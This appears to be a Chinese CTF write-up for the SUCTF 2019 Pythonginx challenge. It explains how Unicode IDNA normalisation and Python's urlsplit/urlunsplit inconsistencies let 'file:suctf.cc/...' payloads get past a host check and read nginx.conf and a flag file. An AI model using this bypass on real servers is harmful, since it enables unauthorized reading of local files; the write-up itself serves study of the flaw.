天天看点

NO.2-21 [SUCTF 2019]Pythonginx*0x01题解

    nginx配置

    配置文件存放目录:/etc/nginx

    主配置文件:/etc/nginx/conf/nginx.conf

    管理脚本:/usr/lib64/systemd/system/nginx.service

    模块:/usr/lisb64/nginx/modules

    应用程序:/usr/sbin/nginx

    程序默认存放位置:/usr/share/nginx/html

    日志默认存放位置:/var/log/nginx

    配置文件目录为:/usr/local/nginx/conf/nginx.conf

ps: 现在nginx网站配置从nginx.conf转到同目录文件夹下的default.config

    urlsplit函数处理问题

    ps:去看大佬文章,我就不累赘了:)

0x01题解

方法一

NO.2-21 [SUCTF 2019]Pythonginx*0x01题解

没思路,python代码看的不是很明白,

用脚本跑可用的字符可以学下:

# coding:utf-8 
for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass
           

参考:https://blog.csdn.net/qq_42181428/article/details/99741920

方法二

重点写下方法二

代码贴出来,用于测试

from urllib.parse import urlsplit,urlunsplit, unquote
from urllib import parse
# url = "www.baidu.com/index.php?id=1"
# url = "http:www.baidu.com/index.php?id=1"
url = "file:suctf.cc/usr/local/nginx/conf/nginx.conf"
parts = parse.urlsplit(url)
print(parts)

url2 = urlunsplit(parts)
parts2 = parse.urlsplit(url2)

print(parts2)
           

 运行结果:

NO.2-21 [SUCTF 2019]Pythonginx*0x01题解

这道题,首先不能让他为 suctf.cc,但是经过了 urlunsplit 后变成 suctf.cc,很容易就构造出:file:suctf.cc/usr/local/nginx/conf/nginx.conf,这样就能读取文件了。

NO.2-21 [SUCTF 2019]Pythonginx*0x01题解

读出配置文件中有usr/fffffflag

payload:file:suctf.cc/usr/fffffflag在这里插入图片描述

NO.2-21 [SUCTF 2019]Pythonginx*0x01题解